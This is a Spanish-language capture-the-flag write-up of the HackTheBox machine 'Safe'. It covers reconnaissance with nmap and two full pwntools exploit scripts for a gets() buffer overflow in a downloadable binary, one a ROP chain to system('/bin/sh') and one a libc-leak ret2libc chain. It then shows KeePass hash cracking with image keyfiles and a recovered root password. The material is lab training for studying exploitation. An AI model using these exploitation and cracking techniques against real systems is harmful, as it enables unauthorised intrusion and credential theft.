Safe
Writeup de la máquina Safe de HackTheBox.
Reconocimiento
En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:
1
openvpn lab_trr0r.opvn
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con TTL próximo a 64 (63), además gracias al script whichSystem.py podremos conocer dicha información.
El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando
ping -c 1 -R 10.10.10.147
.
Nmap
En segundo lugar, realizaremos un escaneo usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.10.174 -oG allPorts
Observamos como nos reporta que se encuentran abiertos los puertos 22, 80 y 1337.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puertos abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80,1337 -sCV 10.10.10.147 -oN targeted
La información más relevante que podemos sacar del escaneo exhaustivo es que la versión de OpenSSH es vulnerable a un Username Enumeration.
Explotación
Al acceder a la página web veremos el index.html que viene por defecto con apache2.
Como en la página web a simple vista no vemos nada nos conectaremos a través de NetCat (nc 10.10.10.147 1337
) al puerto 1337 veremos que se está exponiendo una aplicación tal y como vemos en la captura de pantalla:
Si miramos el código fuente de la página web veremos como en un comentario que nos dice que myapp puede ser descargada desde la web y que es la misma aplicación que esta corriendo en el puerto 1337.
Procederemos a descargarnos dicha aplicación con wget para ello ejecutaremos lo siguiente:
1
wget http://10.10.10.147/myapp
Al ejecutar el binario veremos que lo que ponía en el comentario de la web estaba en lo cierto, pues es la misma aplicación que podemos encontrar en el puerto 1337.
Lo primero que se me ocurre probar frente a este binario que además de tenerlo en local lo tenemos en remoto es un Buffer OverFlow para ello generamos unas A’s con python (python3 -c 'print("A"+500)'
) y veremos como nos salta el típico error de un Buffer OverFlow (segmentation fault
):
Buffer OverFlow
Destacar que para esta explotación de Buffer OverFlow voy a estar usando gef ya que peda me daba algún que otro problema como por ejemplo al ejecutarlo se salía del flujo principal, para solucionar esto había que poner lo siguiente dentro del peda
set follow-fork-mode parent
En este punto lo que haremos será proceder con la explotación del binario de x64 bits, destacar que existen dos maneras de explotarlo: la fácil y la difícil, en primer lugar veremos la fácil.
Way 1 (ROP) [Easy]
Entendiendo el binario
Antes de comenzar a sacar el offset debemos de entender que está haciendo realmente el binario por detrás, por lo que lo descompilaremos usando la herramienta de la NSA: ghidra.
Una vez descompilado debemos de dirigirnos a la función main y observaremos el siguiente código:
1
2
3
4
5
6
7
8
9
10
11
undefined8 main(void) // Declara la función principal
{
char user_input [112]; // Declara un array de caracteres con un tamaño máximo asignado de 112 bytes
system("/usr/bin/uptime"); // Llamada al binario "/usr/bin/uptime" a través de la función system()
printf("\nWhat do you want me to echo back? "); // Muestra por pantalla un mensaje
gets(user_input); // Guarda el input del usuario en user_input a través de una fución vulnerable a un BOF (gets())
puts(user_input); // Muestra por pantalla el input del usuario. Esta función no es inderectamente vulnerable ya que en el caso de producirse un BOF estaría mostrando datos indeseados y así es como acontence el leak de libc (Way 2)
return 0; // Salida de la función main con un código de estado exitoso
}
Lo que nos tiene que llamar la atención al ver este código es la función system()
, pues en el caso de que podamos cambiarle el argumento a "/bin/sh"
nos ejecutará una shell.
Antes de empezar a probar como poder cambiar el argumento de recibe system()
debemos de tener en cuenta el convenio de llamadas, es decir donde buscará la función system()
el argumento con el que ha de ejecutarse.
En una arquitectura de 64 bits el convenio de llamadas es el siguiente, por lo que la cadena /usr/bin/uptime
ha de estar en RDI.
1
rdi -> rsi -> rdx -> rcx -> r8 -> r9
Para comprobar esto abriremos el binario con gdb (gdb -q ./myapp
), estableceremos un breakpoint en la función main (b *main
), correremos el binario (r
) y observamos que nos hemos detenido en la primera instrucción de la función main:
Debemos de ir avanzando instrucciones (si
) hasta llegar a la llamada a la función system()
y automáticamente veremos RDI tiene la cadena /usr/bin/uptime
almacenada, esto también podemos comprobarlo con x/s $rdi
por lo que se cumple el convenio de llamadas:
Es decir si queremos que cuando se llame a la función system()
tenga el argumento /bin/sh
debemos de lograr de alguna forma que RDI valga /bin/sh
.
Offset
Una vez hemos comprendido un poco mejor como funciona el binario por dentro pasaremos a sacar el offset como hacemos en todos los Buffer OverFlow. (El offset hace referencia a la cantidad de junk (basura) que hemos de introducir para provocar un desbordamiento de buffer).
Para descubrir el offset abriremos el binario con gdb (gdb -q ./myapp
) y creamos el patrón con la siguiente instrucción:
1
2
pattern create 500
r # <Introducimos el patrón creado>
Lo más normal en un Buffer OverFlow es que consigamos sobrescribir el RIP (ESP en 32bits) pero en este caso veremos como nuestro pattern se está almacenando al principio de la pila pues así nos lo está indicando el registro RSP (Stack Pointer):
Como nuestro input lo estamos viendo en el RSP (Puntero de pila) sacaremos el offset a partir de este registro, es decir cuantas A’s hemos de introducir para que nuestro input se vea reflejado en la pila, en definitiva debemos de ejecutar el siguiente comando:
1
pattern offset $rsp
Observamos que el offset es de 120 tal y como nos reporta la utilidad presente en gef:
Tomando el control sobre RSP
Una vez conocemos el offset intentaremos tomar el control RSP para ello generamos un patrón con python (python3 -c 'print("A"*120 + B*8)'
), se lo pasaremos al binario y veremos como aparecen nuestras B’s en RSP:
ROP
Una vez tenemos claro el offset (120) debemos de buscar alguna porción de código de la que podamos introducir en RDI lo que nosotros queramos (/bin/sh
), así de primeras parece complicado pero ya veremos que es más sencillo de lo que aparenta ser. A esta técnica se le conoce como ROP (Return-Oriented Programming).
A continuación, debemos de buscar esa porción de código que mencionábamos antes, para lograr esto comenzaremos buscando en funciones. Podemos usar tanto gdb como ghidra para lograr esta tarea, tras mirar las funciones veremos una función un tanto extraña de nombre test la cual no está siendo llamada desde el main.
En este punto nos pasaremos a ghidra para visualizar mejor esta función. En la parte de la derecha no veremos nada interesante, por lo que nos pasaremos a ver el código en ensamblador.
En el cuadro verde: estamos viendo las instrucciones que siempre nos encontramos al principio de todas las funciones, por no le prestaremos mucha atención.
En el cuadro naranja: estamos viendo una instrucción un tanto interesante pues se encarga de mover el valor de RSP (Stack Pointer) a RDI, es decir mueve el valor que está al principio de la pila al valor que queremos controlar, ya que la función <pre style="display:inline">system()</pre> obtiene de ahí su argumento.
Finalmente, en el cuadro naranja: estamos viendo que se está aplicando un salto a R13 por lo que lo ideal sería cargar ahí nuestra función <pre style="display:inline">system()</pre>para que obtenga como argumento lo que nosotros queramos, en este caso <pre style="display:inline">/bin/sh</pre>.
Una vez tenemos claro lo que hace la función test y lo que nosotros queremos hacer, pasaremos a crearnos el exploit el cual nos permitirá ejecutarnos una /bin/sh
. Finalmente, el exploit en python de este Buffer OverFlow quedará tal que así:
El exploit se encuentra explicado a través de comentarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
# Exploit BOF vía: ROP
from pwn import *
context(os='linux', arch='amd64')
# Correr el binario myapp en una nueva pestaña de tmux usando gdb
context(terminal=['tmux', 'new-window'])
p = gdb.debug("./myapp", "b *test") # Estableceremos el breakpoint donde queramos
# Conectarse al puerto 1337 donde se encuentra expuesto el binario myapp
# p = remote("10.10.10.147", 1337)
# El offset es de 120 por lo que tendríamos que meter 120 A's para probar el BOF pero como queremos que al prinicipio de la pila (RSP) esté la cadena "/bin/sh\x00" debemos de introducir 112 A's ya que /bin/sh\x00 tiene 8 bytes de longitud, es decir 120 - 8 = 112.
junk = b"A"*112
# Guardamos en una variable la cadena "/bin/sh\x00" lo que finalmente guardaremos en RDI.
bin_sh = b"/bin/sh\x00"
# Buscaremos un Gadget que nos permita realizar un pop r13. Un pop básicamente lo que hace es meter un valor en la dirección indicada, en este caso r13.
# ❯ ropper -f myapp | grep "r13"
# 0x0000000000401206: pop r13; pop r14; pop r15; ret;
pop_r13 = p64(0x401206)
# Como el gadget que nos permite realizar un pop r13 también realiza otras operaciones como un pop r14 o un pop r15 crearemos una variable que valga 0, es decir null.
null = p64(0x0)
# Obtendremos la dirección de memoria que hace una llamada a la función system()
# ❯ objdump -d myapp| grep system
# 0000000000401040 <system@plt>:
# 401040: ff 25 da 2f 00 00 jmp *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
# 40116e: e8 cd fe ff ff call 401040 <system@plt>
system_plt = p64(0x401040)
# Obtenemos la dirección de memoria que hace una llamada a la función test()
#❯ objdump -d myapp| grep test
#0000000000401152 <test>:
test = p64(0x401152)
# junk + bin_sh -> En el payload cargaremos en primer lugar 112 A's y luego 8 bytes pertenecientes a la cadena "/bin/sh\x00"
# pop_r13 -> Una vez hemos sobrepasado el offset todo lo que escribamos a continuación tendrá capacidad de ejecutarse, es decir tenemos control sobre el flujo del programa por lo que cargaremos la instrucción "pop r13" la cual nos permite guardar datos en "r13".
# system_plt + null + null -> Tras llamar a la instrucción "pop r13" seguidamente hemos de introducir el valor que queramos cargar en ella en este caso una llamada a "system()", y en en r14 y r15 null ya que no queremos cargar nada.
# test -> Finalmente, una vez lo tenemos todo preparado llamaremos a la función test(), es decir:
# 1.- La cadena "/bin/sh" está al prinicipio de la pila "RSP" por lo cuando llegue a la intrucción de la función test(): "MOV RDI,RSP" cargará en RDI la cadena "/bin/sh" y por lo tanto system() obtendrá como argumento lo que ahí en RDI ("/bin/sh").
# 2.- En r13 se encuentra la llamada a la función system() gracias al "pop r13" realizado.
payload = junk + bin_sh + pop_r13 + system_plt + null + null + test
# Enviaremos el payload ya sea en local o en remoto según hayamos configurado, es decir según que líneas no esten comentadas.
p.sendline(payload)
# Finalmente gracias a pwntools intentaremos entrar en modo interactivo.
p.interactive()
Antes de intentar obtener la /bin/sh
comprobaremos si todo está funcionando correctamente. En primer lugar, abriremos tmux en una nueva terminal (en caso de no tenerlo instalado apt install tmux
) y finalmente correremos el exploit.
Nos dirigimos a la ventana de tmux y veremos que el flujo del programa está detenido en la función _start por lo que seguiremos con el flujo del programa (continue
) hasta llegar al breakpoint en la función test.
Veremos que al continuar con el flujo del programa se detiene el la función test.
Iremos avanzando instrucciones (si
) y cuando lleguemos a la última (jmp r13
) veremos que el valor de RDI es /bin/sh
y r13 tiene la llamada a la función system()
por lo que todo está correctamente.
Una vez comprobado que todo está funcionando según lo previsto comentaremos las líneas que nos habilitaban para correr el script en local y habilitaremos las líneas que nos permiten correr el exploit el remoto a través del puerto 1337.
Tal y como observamos a continuación habremos ganado acceso a la máquina víctima gracias a la explotación del Buffer OverFlow por lo que comenzaremos con la Escalada de privilegios.
Way 2 (Leak libc) [Complicated] [EXTRA]
Al ser una manera extra de explotar el Buffer OverFlow y además más complicada no me detendré tanto en explicarla como la anterior.
En segundo lugar veremos como explotar el Buffer OverFlow gracias a la filtración de la dirección de libc de la máquina víctima, es decir un Leak de libc.
Finalmente, el exploit con el cual lograremos explotar el Buffer OverFlow a través de un Leak de libc quedaría tal que así:
El exploit se encuentra explicado a través de comentarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
# Exploit BOF vía: Leak de libc
from pwn import *
# Correr el binario myapp en una nueva pestaña de tmux usando gdb
context(terminal=['tmux', 'new-window'])
p = gdb.debug("./myapp", "b *main") # Estableceremos el breakpoint donde queramos
# Conectarse al puerto 1337 donde se encuentra expuesto el binario myapp
# p = remote("10.10.10.147", 1337)
# Como el offset es de 120 introduciremos 120 A's para provocar el BOF y así poder apuntar a la direcciones de memoria que queramos.
junk = b"A"*120
# Buscaremos un Gadget que nos permita realizar un pop rdi. Un pop básicamente lo que hace es meter un valor en la dirección indicada, en este caso rdi.
# ❯ ropper -f myapp | grep "rdi"
# 0x000000000040120b: pop rdi; ret;
pop_rdi = p64(0x40120b)
# Obtendremos la dirección de memoria que hace una llamada a la función system()
#❯ objdump -d myapp | grep "system"
# 40116e: e8 cd fe ff ff call 401040 <system@plt>
system_plt = p64(0x401040)
# Obtenemos la dirección de memoria que hace una llamada a la función main()
# ❯ objdump -d myapp | grep "main"
# 401094: ff 15 56 2f 00 00 call *0x2f56(%rip) # 403ff0 <__libc_start_main@GLIBC_2.2.5>
# 000000000040115f <main>:
main = p64(0x40115f)
# Obtendremos la dirección de memoria que muestra por pantalla el mensaje que nosostros escribimos, es decir la dirección de puts()
#❯ objdump -d myapp | grep "puts"
# 401030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
got_puts = p64(0x404018)
# Gracias a este payload lo que lograremos ejecutar es lo siguiente: "system(got_puts)" para que así nos muestre como error por pantalla la dirección de memoria de la instruccioón puts() y a partir de dicha dirección leakeada obtener la dirección de memoria de libc con la que ya podremos hacer lo que nos apetezca mediante operaciones con los offsets.
payload = junk + pop_rdi + got_puts + system_plt + main
print(p.recvline()) # Recibiremos la línea que se muestra al ejecutar el binario es decir el /usr/bin/uptime
p.sendline(payload) # Enviaremos el payload creado
leaked_puts = u64(p.recvline().strip()[7:-11].ljust(8, b"\x00")) # Guardaremos en una variable la dirección de puts tras formatearla con strip y ljust.
log.info("Leaked puts address: 0x%x" % leaked_puts) # Mostraremos por pantalla la dirección de puts.
libc_address = leaked_puts - 0x68f90 # Calcularemos el dirección de libc restandole un offset a la dirección de puts, dicho offset lo podemos obtener buscando en google por: libc database search (Destacar que yo he tenido que copiarme la dirección del offset del writeup ya que buscando en las páginas que existen ahora sobre esto ninguna de ellas contiene los offset correctos)
log.info("Computed libc address: 0x%x" % libc_address) # Mostraremos por pantalla la dirección de libc tras el calculo realizado.
bin_sh_address = p64(libc_address + 0x161c19) # Obtendremos la dirección de /bin/sh tras sumarle un offset el cual podemos obtener buscando en google por: libc database search.
# Suponiendo que la protección PIE esta deshabilitada procederemos a enviar un nuevo payload pero en este caso ejecutaremos la instrucción system("/bin/sh") ya que en rdi estamos cargando la dirección real de /bin/sh, es decir a partir de libc y posteriormente ejecutaremos la función system() la cual obtiene su argumento de rdi.
payload = junk + pop_rdi + bin_sh_address + system_plt
p.sendline(payload) # Enviaremos el payload
p.interactive() # Finalmente gracias a pwntools intentaremos entrar en modo interactivo.
Tal y como observamos a continuación habremos ganado acceso a la máquina víctima gracias a la explotación del Buffer OverFlow Leak de libc por lo que comenzaremos con la Escalada de privilegios.
Escalada de privilegios
Una vez realizado el Tratamiento de la TTY observamos que hemos conseguido explotar el Buffer OverFlow y hemos ganado acceso a la máquina víctima como el usuario user, tal y como podemos ver a continuación:
Como hacemos siempre con todas las máquinas miraremos por permisos Sudoers y SUID pero no encontramos nada interesante. A continuación nos dirigimos a nuestra home (/home/user) y observaremos unos archivos un tanto extraños, así como unas imágenes y archivo de KeePass.
En este punto lo que haremos será transferirnos estos archivos a nuestra máquina de atacante para ello ejecutaremos el siguiente one liner de bash:
1
for file in IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG; do wget http://10.10.10.147:8080/$file; done && wget 10.10.10.147:8080/MyPasswords.kdbx
Las imágenes no tienen ninguna información valiosa son simples fotos de paisajes tal y como vemos a continuación:
Lo primero que se nos ocurre con un archivo de Keepass es sacar su hash e intentar crackearlo con johntheripper para realizar esto ejecutaremos el siguiente comando:
1
keepass2john MyPasswords.kdbx > hash
Comenzaremos a crackear dicho hash (john hash --wordlist=/usr/share/wordlists/rockyou.txt
) y veremos que tras 3 minutos esperando no nos reporta nada por lo que tendremos que plantearlo de otro forma:
También se nos puede ocurrir mirar los metadatos de la imagen con exiftool (exiftool * .JPG
) pero no encontraremos ningún metadato escondido. Además, podemos mirar se existe algún archivo oculto con la herramienta steghide pero tampoco tendremos éxito.
Si miramos la ayuda de la herramienta keepass2john la cual nos permite sacar el hash del archivo de keepass veremos que existe un parámetro adicional (-k
) con el cual podemos incluir un keyfile para generar un hash diferente, tal y como vemos en la imagen:
Como bien sabemos en el mismo directorio que se encontraba el archivo de keepass también se encontraban en el 6 imágenes por lo que nos da que pensar que hemos de usar alguna de estamos imágenes para sacar el hash.
Por lo que volveremos a usar un oneliner pero esta vez crearemos 6 diferentes tipos de hashes uno por cada imagen, en definitiva ejecutaremos el siguiente comando:
1
for file in IMG_0545.JPG IMG_0546.JPG IMG_0547.JPG IMG_0548.JPG IMG_0552.JPG IMG_0553.JPG; do keepass2john -k $file MyPasswords.kdbx; done > hashes
Una vez con todos los hashes en un mismo archivo intentaremos crackearlo usando johntheripper usando el siguiente comando:
1
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
Tras un minuto de espera veremos como finalmente obtenemos la contraseña (bullshit):
Una vez con la contraseña para la base de datos de keepass procederemos a abrir el archivo en una pestaña nueva con el siguiente comando:
1
keepassxc MyPasswords.kdbx & disown
Como contraseña introduciremos bullshit y como fichero clave debemos de incluir la imagen que se está usando pero como no lo sabemos iremos probando imagen por imagen hasta dar con la correcta (IMG_0547.JPG):
Veremos que existe un apunte donde se está guardando la contraseña para el usuario root la cual es u3v2249dl9ptv465cogl3cnpo3fyhk, tal y como vemos a continuación:
Probaremos a convertirnos en root con dicha contraseña, y tal y como observamos en la imagen conseguimos convertirnos en root: